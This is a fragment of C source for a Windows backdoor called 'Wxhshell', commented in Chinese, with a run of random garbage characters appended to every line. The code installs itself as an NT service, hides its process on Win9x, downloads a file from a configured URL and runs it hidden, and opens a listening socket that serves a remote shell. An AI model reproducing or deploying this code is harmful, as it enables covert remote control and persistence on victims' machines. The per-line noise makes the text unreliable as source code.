ULONG UniqueProcessId; S[hJ{0V
ULONG InheritedFromUniqueProcessId; E"1;i
} PROCESS_BASIC_INFORMATION; ?tC}M;~
g.Caapy
PROCNTQSIP NtQueryInformationProcess; B
mBzOk^
/yw\(|T
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 8@W/43K8-
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; `^bvj]>l
d+m6-4[_k
HANDLE hProcess; VVQ74b
PROCESS_BASIC_INFORMATION pbi; Y\g90
rI^~9Rz
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); UGC|C F2K
if(NULL == hInst ) return 0; N]s7/s
vzyI::f?
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); !Ir1qt8T
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); enbN0
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); (LT\
IJSM
;vv!qBl|@
if (!NtQueryInformationProcess) return 0; \,%o>M'
qtwT#z;Y
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ;[OJ-|Q
if(!hProcess) return 0; @maZlw1q
itC *Z6^
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; %I|+_ z&x
%$Jqt
CloseHandle(hProcess); _> |R-vQ8
>0<KkBH
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); H7tQ#
if(hProcess==NULL) return 0; ^!o1l-Y^gr
!7kLFW
HMODULE hMod; H81.p
char procName[255]; PX69
unsigned long cbNeeded; iA%'
;V
@O<@f8-
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); A"BtVy[[9
V6z@"+
CloseHandle(hProcess); T[4[/n>i
=!g/2;-or
if(strstr(procName,"services")) return 1; // 以服务启动 5v!DYx
]w_
return 0; // 注册表启动 N[a ljC-R
} Gdf1+mi
XAQ\OX#
// 主模块 %TW%|"v
int StartWxhshell(LPSTR lpCmdLine) @`IXu$Wm(
{ '!+P{
SOCKET wsl; gI^L
9jE7
BOOL val=TRUE; (DG@<K,6
int port=0; ebO`A2V'(
struct sockaddr_in door; rF8W(E_=
}1a <{&
if(wscfg.ws_autoins) Install(); %0+h
<=)D=Ax/_[
port=atoi(lpCmdLine); 3XAp Y'
<m Ju v
if(port<=0) port=wscfg.ws_port; +3/k/W
*w'q
WSADATA data; Q3NPwM
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; wr3_Bf3]
&O+sK4P
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; f!M[awj%
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); h V|v6 _
door.sin_family = AF_INET; WA]%,6
door.sin_addr.s_addr = inet_addr("127.0.0.1"); J8GXI :y
door.sin_port = htons(port); b(.-~c('
Q
SHx]*)
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ( Lok
closesocket(wsl); ]k::J>84
return 1; 4T-,'P{?
} :rz9M@7
1a($8>
if(listen(wsl,2) == INVALID_SOCKET) { ,2 zt.aqB
closesocket(wsl); <&qpl0U)Y
return 1; laUu"cS
} toS(UM n
Wxhshell(wsl); ;Pol#0_(
WSACleanup(); E3~,+68U
N_u&3CG
return 0; Z&+NmOY4
/v}P)&
} zuC 58B
e-[>( n/[
// 以NT服务方式启动 HG{&U:>)
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~w
Zl2I
{ ]dPVtk
DWORD status = 0; 0t#NMW
DWORD specificError = 0xfffffff; d] b~)!VW
I! h(`
serviceStatus.dwServiceType = SERVICE_WIN32; '}U_D:o.b
serviceStatus.dwCurrentState = SERVICE_START_PENDING; T-L|Q,-{-
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 9">zdFC'
serviceStatus.dwWin32ExitCode = 0; ioB|*D<U2
serviceStatus.dwServiceSpecificExitCode = 0; q[{:
serviceStatus.dwCheckPoint = 0; d&}pgb-Md
serviceStatus.dwWaitHint = 0; =y)p>3p}&
F^ I\X
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); g\ErJ+i
if (hServiceStatusHandle==0) return; XIr{U5$<6
2Pbe~[
status = GetLastError(); E:u ReT
if (status!=NO_ERROR) L*zbike
{ (NGu9uJs
serviceStatus.dwCurrentState = SERVICE_STOPPED; e$CePLEj
serviceStatus.dwCheckPoint = 0; %v5)s(Yu
serviceStatus.dwWaitHint = 0; lhLnyg Uk
serviceStatus.dwWin32ExitCode = status; [leW/2i
serviceStatus.dwServiceSpecificExitCode = specificError; Um]p&phVL
SetServiceStatus(hServiceStatusHandle, &serviceStatus); H7{Q@D8
return; %xf)m[JU=
} VK @$JwdL
U8CWz!;Qz
serviceStatus.dwCurrentState = SERVICE_RUNNING; 6BDt.bG
serviceStatus.dwCheckPoint = 0; |BwRlE2CFO
serviceStatus.dwWaitHint = 0; El~-M`Gf
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); UH5w7M
} EoKC8/
z7-`Y9Ypd
// 处理NT服务事件,比如:启动、停止 k/df(cs
VOID WINAPI NTServiceHandler(DWORD fdwControl) :=rA Yc3]
{ FJO"|||Y'|
switch(fdwControl) r8IX/ ,
{ M-{*92y&
|
case SERVICE_CONTROL_STOP: }X=87ud
serviceStatus.dwWin32ExitCode = 0; w+q?T
serviceStatus.dwCurrentState = SERVICE_STOPPED; %oAL
serviceStatus.dwCheckPoint = 0; M6J/mOVx5
serviceStatus.dwWaitHint = 0; zL9VR;q
{ ~}h^38
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~_'0]P\
} q.-y)C) ;
return; _e6a8
case SERVICE_CONTROL_PAUSE: >R( 8/#|E
serviceStatus.dwCurrentState = SERVICE_PAUSED; `'uUmyg
break; }ppVR$7]0
case SERVICE_CONTROL_CONTINUE: Ej'
7h~ =v
serviceStatus.dwCurrentState = SERVICE_RUNNING; *Wzwbwg
break; h2"9"*S1
case SERVICE_CONTROL_INTERROGATE: -g:lOht
break; DKh}Y
!Q=:
}; A^pu
SetServiceStatus(hServiceStatusHandle, &serviceStatus); p?;-!TUv
} ;_iPm?Y8
>[a FOA
// 标准应用程序主函数 fGb7=Fk
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) I[ai:
{ mKV'jm0
Kaf>
// 获取操作系统版本 `8,w[o oC2
OsIsNt=GetOsVer(); PfyRZ[3)c
GetModuleFileName(NULL,ExeFile,MAX_PATH); [!G)$<
4RhR[
// 从命令行安装 +)gGs#2X
if(strpbrk(lpCmdLine,"iI")) Install(); p"KU7-BfvC
O:1DOUYXs
// 下载执行文件 -PM)EGSk{
if(wscfg.ws_downexe) { h}avX*Lx_
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) qtHfz"p
WinExec(wscfg.ws_filenam,SW_HIDE); 5^>n5u/
} o
w2$o\hC
=HMmrmz:
if(!OsIsNt) { mG_BM/$
// 如果时win9x,隐藏进程并且设置为注册表启动 <{giHT
HideProc(); Rvvh{U;t
StartWxhshell(lpCmdLine); `|]e6Pb
} }'lNi^"XL
else Q!K`e )R
if(StartFromService()) [G a~%m
// 以服务方式启动 &eIGF1ws
StartServiceCtrlDispatcher(DispatchTable); NgHpIonC
else ,>u=gA&}
// 普通方式启动 VpSEVd:n
StartWxhshell(lpCmdLine); &s:=qQa1
@;m$ua*|:
return 0; ;`kWpM;
}